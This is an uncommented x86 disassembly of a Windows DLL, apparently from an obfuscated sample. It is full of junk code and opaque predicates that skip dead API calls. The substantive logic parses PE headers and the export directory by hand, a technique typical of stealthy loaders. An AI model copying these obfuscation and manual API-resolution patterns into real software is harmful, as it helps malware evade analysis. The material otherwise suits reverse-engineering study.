call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x1f4], 0
jmp 0x1001bc67
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 1
jg 0x1001bcbe
mov dword [ebp - 0x2c], 0
jmp 0x1001bc80
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jg 0x1001bcbc
mov byte [ebp - 0x183], 0
movzx eax, byte [ebp - 0x183]
test eax, eax
je 0x1001bca0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x1001bcba
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x1001bc79
jmp 0x1001bc5a
jmp 0x1001bc23
jmp 0x1001bc00
jmp 0x1001bce4
mov byte [ebp - 0x17b], 0
movzx eax, byte [ebp - 0x17b]
test eax, eax
je 0x1001bce4
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x68], 0
jmp 0x1001bcf4
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x10
jle 0x1001bd2d
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6bc], eax
push 0
lea ecx, [ebp - 0xdfc]
call fcn.10022272
mov ecx, dword [ebp - 0x6bc]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6bc]
mov dword [ebp + eax - 0xec4], ecx
jmp 0x1001bced
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdfc]
call fcn.10022230
mov eax, dword [0x10619714]
cmp eax, dword [ebp - 0x2a8]
je 0x1001bd5a
mov eax, dword [0x1061997c]
cmp eax, dword [ebp - 0x2a8]
jne 0x1001bffc
mov dword [ebp - 0x150], 0x91a049fe
push 1
lea ecx, [ebp - 0xfcc]
call fcn.100221ae
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x2f4], 0
jmp 0x1001bd91
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 1
jge 0x1001bdb3
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0xfcc]
call fcn.10022272
mov dword [eax], 4
jmp 0x1001bd84
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1001bdde
push 0xa37
push 0x11bf
push 0x42
push 0x1f55
push 0
call dword [sym.imp.USER32.dll_SetRect]
mov dword [ebp - 0x150], 0
jmp 0x1001bdf7
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffe6
je 0x1001bfd5
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x6cc], 0x50d8af87
mov dword [ebp - 0xd98], 0x1162d50c
mov dword [ebp - 0x274], 0
jmp 0x1001be38
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 4
jge 0x1001be54
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x1260], 0
jmp 0x1001be2b
mov dword [ebp - 0x80], 0
jmp 0x1001be64
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x1001bfd0
mov dword [ebp - 0x198], 0xcd50997
mov dword [ebp - 0x198], 3
jmp 0x1001be91
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x1001bfa7
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0x1260]
mov dword [ebp - 0x104c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1260]
mov dword [ebp - 0x120c], eax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x198]
cmp eax, dword [ebp - 0x80]
je 0x1001bee4
mov dword [ebp - 0x6c4], 1
jmp 0x1001beeb
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x6c4]
dec eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0xb5b3
jne 0x1001bf10
mov dword [ebp - 0xe34], 1
jmp 0x1001bf17
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x116c], eax
cmp dword [ebp - 0x80], 0x548aab56
jge 0x1001bf35
mov dword [ebp - 0x6d4], 1
jmp 0x1001bf3c
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x6d4], eax
jge 0x1001bf5c
cmp dword [ebp - 0x150], 0
je 0x1001bf5c
mov dword [ebp - 0xcf8], 1
jmp 0x1001bf63
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x105c], eax
mov eax, dword [ebp - 0xd98]
mov dword [ebp - 0x127c], eax
mov esi, dword [ebp - 0x150]
push 0
lea ecx, [ebp - 0xfcc]
call fcn.10022272
mov dword [eax], esi
mov eax, dword [ebp - 0x80]
cmp dword [ebp + eax*4 - 0x1260], 0
je 0x1001bfa2
jmp 0x1001be84
jmp 0x1001be84
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001bfcb
push 0xdc4
push 0
push 0xca9
call dword [sym.imp.GDI32.dll_Polygon]
jmp 0x1001be5d
jmp 0x1001bdea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfcc]
call fcn.10022230
mov ecx, dword [ebp + 0xc]
call fcn.10021b1d
push eax
push dword [ebp + 8]
call fcn.1000fe72
pop ecx
pop ecx
jmp 0x1001e832
mov dword [ebp - 0x1a0], 0x13b91020
mov dword [ebp - 0x71c], 6
mov dword [ebp - 0xd00], 0xe5411aa8
mov dword [ebp - 0x1a0], 0
jmp 0x1001c033
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xfffffff3
jl 0x1001c1ad
mov dword [ebp - 0x1a8], 2
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1064], eax
cmp dword [ebp - 0x1a8], 0xfffffffa
jne 0x1001c06b
mov dword [ebp - 0x6dc], 1
jmp 0x1001c072
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x1a8]
imul eax, dword [ebp - 0x6dc]
cmp eax, dword [ebp - 0x1a8]
jg 0x1001c093
mov dword [ebp - 0x6e4], 1
jmp 0x1001c09a
and dword [ebp - 0x6e4], 0
cmp dword [ebp - 0x6e4], 0xfffffffd
jl 0x1001c0af
mov dword [ebp - 0x6ec], 1
jmp 0x1001c0b6
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x6ec], eax
jle 0x1001c0d0
mov dword [ebp - 0x6f4], 1
jmp 0x1001c0d7
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x6f4], eax
jl 0x1001c0f1
mov dword [ebp - 0x6fc], 1
jmp 0x1001c0f8
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x6fc], 0xfffffffa
jb 0x1001c10d
mov dword [ebp - 0x704], 1
jmp 0x1001c114
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x71c]
cmp eax, dword [ebp - 0x704]
jge 0x1001c12e
mov dword [ebp - 0x70c], 1
jmp 0x1001c135
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x1a8]
imul eax, dword [ebp - 0x70c]
cmp eax, dword [ebp - 0x1a8]
jg 0x1001c156
mov dword [ebp - 0x714], 1
jmp 0x1001c15d
and dword [ebp - 0x714], 0
imul eax, dword [ebp - 0x714], 0x76d7
cmp eax, dword [ebp - 0x71c]
jle 0x1001c17b
mov dword [ebp - 0x724], 1
jmp 0x1001c182
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0xd00], eax
mov byte [ebp - 0x178], 0
movzx eax, byte [ebp - 0x178]
test eax, eax
je 0x1001c1a8
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x1001c026
mov eax, dword [ebp + 8]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
je 0x1001e685
mov eax, dword [ebp - 0x324]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001e685
mov dword [ebp - 0x74c], 0x8c44
mov dword [ebp - 0x72c], 0x1172
mov dword [ebp - 0xd08], 0x10007ba8
cmp dword [ebp - 0x72c], 0x1361
jle 0x1001c314
and dword [ebp - 0x30c], 0
jmp 0x1001c21b
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x7e0f
jge 0x1001c314
and dword [ebp - 0x314], 0
jmp 0x1001c241
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x24a2
jge 0x1001c30f
and dword [ebp - 0x2fc], 0
jmp 0x1001c267
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x4586
jge 0x1001c30a
and dword [ebp - 0x304], 0
jmp 0x1001c28d
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x24ed
jge 0x1001c305
mov ecx, dword [ebp - 0x2fc]
imul ecx, dword [ebp - 0x304]
mov eax, dword [ebp - 0x30c]
cdq
idiv dword [ebp - 0x314]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0xca4], eax
mov dword [ebp - 0xca0], edx
push dword [ebp - 0xca0]
push dword [ebp - 0xca4]
lea ecx, [ebp - 0x1378]
call fcn.1000a263
pop ecx
pop ecx
mov dword [ebp - 0xe30], eax
mov ecx, dword [ebp - 0xe30]
call fcn.10021b1d
push eax
call fcn.10058fef
pop ecx
lea ecx, [ebp - 0x1378]
call fcn.10021b13
jmp 0x1001c280
jmp 0x1001c25a
jmp 0x1001c234
jmp 0x1001c20e
mov dword [ebp - 0xd10], 0x66a07563
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x72c], 0x10e0
jge 0x1001c33d
push dword [ebp - 0xd08]
call fcn.10058fef
pop ecx
jmp 0x1001c359
or dword [ebp - 4], 0xffffffff
jmp 0x1001c363
mov dword [ebp - 0x478], 0x7207182b
mov dword [ebp - 0x470], 0xffffffff
mov dword [ebp - 0x73c], 5
mov dword [ebp - 0x468], 0x213072c0
mov dword [ebp - 0x744], 0xfffffffa
mov dword [ebp - 0xda0], 7
mov dword [ebp - 0x31c], 0
jmp 0x1001c3b8
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 2
jge 0x1001c3d4
mov eax, dword [ebp - 0x31c]
mov dword [ebp + eax*4 - 0xac8], 0
jmp 0x1001c3ab
cmp dword [ebp - 0x74c], 0
je 0x1001c403
mov eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x468]
dec ecx
mov dword [ebp - 0x468], ecx
cmp eax, 0x62a4b15d
jle 0x1001c403
mov dword [ebp - 0x734], 1
jmp 0x1001c40a
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0
jne 0x1001c437
mov dword [ebp - 0x754], 1
jmp 0x1001c43e
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x74c]
cmp eax, dword [ebp - 0x754]
jg 0x1001c458
mov dword [ebp - 0x77c], 1
jmp 0x1001c45f
and dword [ebp - 0x77c], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xac8]
cmp ecx, dword [ebp + eax - 0xac8]
jle 0x1001c490
cmp dword [ebp - 0x470], 0
je 0x1001c490
mov dword [ebp - 0x75c], 1
jmp 0x1001c497
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 0xffffffff
jae 0x1001c4ac
mov dword [ebp - 0x764], 1
jmp 0x1001c4b3
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x478]
add eax, dword [ebp - 0x764]
cmp eax, 0xfff8
jne 0x1001c4d2
mov dword [ebp - 0x76c], 1
jmp 0x1001c4d9
and dword [ebp - 0x76c], 0
cmp dword [ebp - 0x76c], 0
jg 0x1001c4ee
mov dword [ebp - 0x774], 1
jmp 0x1001c4f5
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
sub eax, dword [ebp - 0x470]
mov dword [ebp - 0x478], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x478]
cmp ecx, dword [ebp + eax - 0xac8]
jle 0x1001c528
mov dword [ebp - 0x784], 1
jmp 0x1001c52f
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x77c]
cmp eax, dword [ebp - 0x784]
jg 0x1001c549
mov dword [ebp - 0x78c], 1
jmp 0x1001c550
and dword [ebp - 0x78c], 0
cmp dword [ebp - 0x78c], 0x60e2
jg 0x1001c578
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xac8], 0
je 0x1001c578
mov dword [ebp - 0x794], 1
jmp 0x1001c57f
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x794], 0xd09e
jne 0x1001c597
mov dword [ebp - 0x79c], 1
jmp 0x1001c59e
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x79c]
sub eax, dword [ebp - 0x470]
mov dword [ebp - 0x7a4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp + eax - 0xac8], ecx
mov eax, dword [ebp - 0xda0]
cmp dword [ebp - 0x7a4], eax
jg 0x1001c5dd
mov dword [ebp - 0x7ac], 1
jmp 0x1001c5e4
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xd18], 3
mov dword [ebp - 0x32c], 0
jmp 0x1001c62f
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 1
jge 0x1001c648
mov eax, dword [ebp - 0x32c]
mov dword [ebp + eax*4 - 0x64], 0xffffffff
jmp 0x1001c622
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x1001c670
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp dword [ebp - 0x14], 0
je 0x1001c6a7
mov dword [ebp - 0xe3c], 9
mov dword [ebp - 0x7b4], 0xfffffff6
mov eax, dword [ebp - 0xe3c]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0xd18], eax
jmp 0x1001cc1a
mov dword [ebp - 0x33c], 0xf82d83d7
mov dword [ebp - 0x480], 0x93cc
mov dword [ebp - 0x344], 0xfa553fc2
mov dword [ebp - 0x1fc], 0xfffffffd
push 1
lea ecx, [ebp - 0xbcc]
call fcn.100221ae
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x84c], 0xfffffffe
mov dword [ebp - 0xe44], 0xb8a8
mov dword [ebp - 0xd28], 0
mov dword [ebp - 0x334], 0
jmp 0x1001c71a
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1001c73c
push dword [ebp - 0x334]
lea ecx, [ebp - 0xbcc]
call fcn.10022272
mov dword [eax], 0xebc8
jmp 0x1001c70d
mov eax, dword [ebp - 0x33c]
cmp eax, dword [ebp - 0x33c]
jg 0x1001c756
mov dword [ebp - 0xdb0], 1
jmp 0x1001c75d
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x1174], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x480]
cmp ecx, dword [ebp + eax - 0x64]
jg 0x1001c787
mov dword [ebp - 0x7bc], 1
jmp 0x1001c78e
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 0xfffffff8
jne 0x1001c7a3
mov dword [ebp - 0x7c4], 1
jmp 0x1001c7aa
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0xfffffffa
je 0x1001c7bf
mov dword [ebp - 0x7cc], 1
jmp 0x1001c7c6
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x7cc]
jle 0x1001c7e3
mov eax, 0xce6fc2e6
test eax, eax
jne 0x1001c7e3
and dword [ebp - 0x7d4], 0
jmp 0x1001c7ed
mov dword [ebp - 0x7d4], 1
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x106c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp - 0x1214], eax
cmp dword [ebp - 0x344], 0
je 0x1001c837
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
je 0x1001c837
mov dword [ebp - 0x7dc], 1
jmp 0x1001c83e
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x33c]
jge 0x1001c85b
mov dword [ebp - 0x7e4], 1
jmp 0x1001c862
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x7e4], eax
jl 0x1001c879
mov dword [ebp - 0x7ec], 1
jmp 0x1001c880
and dword [ebp - 0x7ec], 0
cmp dword [ebp - 0x7ec], 0xef339200
jne 0x1001c898
mov dword [ebp - 0x7f4], 1
jmp 0x1001c89f
and dword [ebp - 0x7f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7f4]
neg ecx
add ecx, dword [ebp + eax - 0x64]
sub ecx, dword [ebp - 0x480]
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x14], 0
jmp 0x1001c8cd
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x1001cc0b
mov dword [ebp - 0x278], 1
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + eax*4 - 0x64]
push 0
lea ecx, [ebp - 0xbcc]
call fcn.10022272
cmp dword [eax], esi
jge 0x1001c909
push 5
pop eax
test eax, eax
jne 0x1001c909
and dword [ebp - 0x7fc], 0
jmp 0x1001c913
mov dword [ebp - 0x7fc], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0x7fc], eax
jne 0x1001c92e
mov dword [ebp - 0x804], 1
jmp 0x1001c935
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0x804], eax
jl 0x1001c950
mov dword [ebp - 0x80c], 1
jmp 0x1001c957
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
imul eax, dword [ebp - 0x80c]
cmp eax, 0xadf5
jle 0x1001c98a
push 0
lea ecx, [ebp - 0xbcc]
call fcn.10022272
cmp dword [eax], 0
je 0x1001c98a
mov dword [ebp - 0x814], 1
jmp 0x1001c991
and dword [ebp - 0x814], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp dword [ebp - 0x814], eax
je 0x1001c9af
mov dword [ebp - 0x81c], 1
jmp 0x1001c9b6
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x81c]
add eax, 0x69e5
cmp eax, 0xffffffff
je 0x1001c9d2
mov dword [ebp - 0xd20], 1
jmp 0x1001c9d9
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x278]
lea eax, [ecx + eax + 4]
test eax, eax
je 0x1001c9f6
cmp dword [ebp - 0x1fc], 0
jne 0x1001ca08
cmp dword [ebp - 0x84c], 0
jne 0x1001ca08
and dword [ebp - 0x824], 0
jmp 0x1001ca12
mov dword [ebp - 0x824], 1
push 0
lea ecx, [ebp - 0xbcc]
call fcn.10022272
mov ecx, dword [ebp - 0x824]
cmp ecx, dword [eax]
jl 0x1001ca35
mov dword [ebp - 0x82c], 1
jmp 0x1001ca3c
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x82c], eax
jge 0x1001ca56
mov dword [ebp - 0x834], 1
jmp 0x1001ca5d
and dword [ebp - 0x834], 0
cmp dword [ebp - 0x834], 6
je 0x1001ca72
mov dword [ebp - 0x83c], 1
jmp 0x1001ca79
and dword [ebp - 0x83c], 0
push 0
lea ecx, [ebp - 0xbcc]
call fcn.10022272
mov ecx, dword [ebp - 0x83c]
cmp ecx, dword [eax]
jl 0x1001ca9c
mov dword [ebp - 0x844], 1
jmp 0x1001caa3
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
add eax, 0x6c84e426
cmp eax, dword [ebp - 0x278]
jl 0x1001cac2
mov dword [ebp - 0x854], 1
jmp 0x1001cac9
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x84c]
imul eax, dword [ebp - 0x854]
imul eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x480]
jge 0x1001caf1
mov dword [ebp - 0x85c], 1
jmp 0x1001caf8
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 0xc83b
je 0x1001cb10
mov dword [ebp - 0x864], 1
jmp 0x1001cb17
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x864]
sub eax, dword [ebp - 0xe44]
cmp eax, dword [ebp - 0xd28]
jg 0x1001cb37
mov dword [ebp - 0x86c], 1
jmp 0x1001cb3e
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x86c], 0x3fe686b7
jg 0x1001cb56
mov dword [ebp - 0x874], 1
jmp 0x1001cb5d
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
cmp eax, dword [ebp - 0x874]
jne 0x1001cb78
mov dword [ebp - 0x87c], 1
jmp 0x1001cb7f
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
sub eax, 0x7a6e0d71
jne 0x1001cb98
mov dword [ebp - 0xdc0], 1
jmp 0x1001cb9f
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x1074], eax
mov eax, 0x315fa727
test eax, eax
jne 0x1001cbc6
cmp dword [ebp - 0x278], 0
jne 0x1001cbc6
and dword [ebp - 0x884], 0
jmp 0x1001cbd0
mov dword [ebp - 0x884], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
cmp eax, dword [ebp - 0x884]
je 0x1001cbeb
mov dword [ebp - 0x88c], 1
jmp 0x1001cbf2
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x278]
imul eax, dword [ebp - 0x88c]
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x64], eax
jmp 0x1001c8c6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbcc]
call fcn.10022230
mov eax, dword [ebp - 0x228]
cmp dword [eax], 0x4550
jne 0x1001e685
mov eax, dword [ebp - 0x228]
cmp dword [eax + 0x74], 0
jbe 0x1001e685
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x228]
cmp dword [ecx + eax + 0x78], 0
je 0x1001e685
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x204], 1
mov dword [ebp - 0x204], 0
jmp 0x1001cc7f
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x11
je 0x1001ccad
cmp dword [ebp - 0x204], 0
je 0x1001cc93
jmp 0x1001ccad
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x1001ccab
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x1001cc72
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x228]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xec], edx
mov dword [ebp - 0x117c], 0xb90d
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1001ccf1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov byte [ebp - 0x172], 0
movzx eax, byte [ebp - 0x172]
test eax, eax
je 0x1001cd09
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, 0xffff
mov word [ebp - 0x9c], ax
or dword [ebp - 0x1b8], 0xffffffff
mov dword [ebp - 0x158], 0xdc85f70a
mov dword [ebp - 0x488], 0xc58fb770
mov dword [ebp - 0xd30], 0x964a90c6
mov dword [ebp - 0x280], 0xfffffff6
mov dword [ebp - 0xe60], 1
mov dword [ebp - 0x8a4], 3
mov dword [ebp - 0xd38], 1
mov dword [ebp - 0x158], 0
jmp 0x1001cd7b
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xffffffec
jl 0x1001cda0
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x1001cd9e
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x1001cd6e
cmp dword [ebp - 0x488], 0xcc4b
je 0x1001cdb3
cmp dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x158]
add eax, 0x187f3561
mov dword [ebp - 0x158], eax
or eax, 0xffffffff
imul eax, eax, 0x1cd4
imul eax, dword [ebp - 0x488]
cmp dword [ebp - 0x158], eax
jl 0x1001cdee
cmp dword [ebp - 0x280], 0
jne 0x1001cdee
and dword [ebp - 0x894], 0
jmp 0x1001cdf8
mov dword [ebp - 0x894], 1
mov eax, dword [ebp - 0xe60]
add eax, dword [ebp - 0x894]
je 0x1001ce1b
cmp dword [ebp - 0x280], 0
je 0x1001ce1b
mov dword [ebp - 0x89c], 1
jmp 0x1001ce22
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp - 0x488]
cmp eax, dword [ebp - 0x8a4]
je 0x1001ce54
mov dword [ebp - 0x8ac], 1
jmp 0x1001ce5b
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0xd38], eax
cmp dword [ebp + 0x10], 0
jbe 0x1001ce8b
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001ce86
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x9c], ax
jmp 0x1001da77
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x107c], 4
mov dword [ebp - 0x8b4], 0x6c74aa0d
mov dword [ebp - 0x288], 0
jmp 0x1001cec2
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xffffffe2
jne 0x1001cf7a
mov dword [ebp - 0x20c], 0xbf5cd53b
mov dword [ebp - 0x290], 0
jmp 0x1001cef2
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x1001cf0e
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0xdd0], 0x6951ad38
jmp 0x1001cee5
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x1001cf40
push 0xa64
push 0
push 0
push 0x84f
push 0x20e2
push 0
push 0x1329
call dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x20c], 0
jmp 0x1001cf59
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x1001cf75
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0xdd0], 0xffffffff
jmp 0x1001cf4c
jmp 0x1001ceb5
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
mov eax, dword [0x106199c0]
and eax, 1
jne 0x1001cfbe
mov eax, dword [0x106199c0]
or eax, 1
mov dword [0x106199c0], eax
mov dword [ebp - 4], 0x39
mov ecx, 0x106199e4
call fcn.1002230d
push 0x100711f7
call fcn.10058fc5
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10619724]
test eax, eax
je 0x1001d2eb
mov ecx, 0x106199e4
call fcn.100223c4
movzx eax, al
test eax, eax
jne 0x1001d2eb
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x8fc]
push eax
mov ecx, 0x106199e4
call fcn.100223cd
push 1
lea ecx, [ebp - 0xb64]
call fcn.100221ae
mov dword [ebp - 4], 0x3a
push 3
lea ecx, [ebp - 0xfe4]
call fcn.100221ae
mov byte [ebp - 4], 0x3b
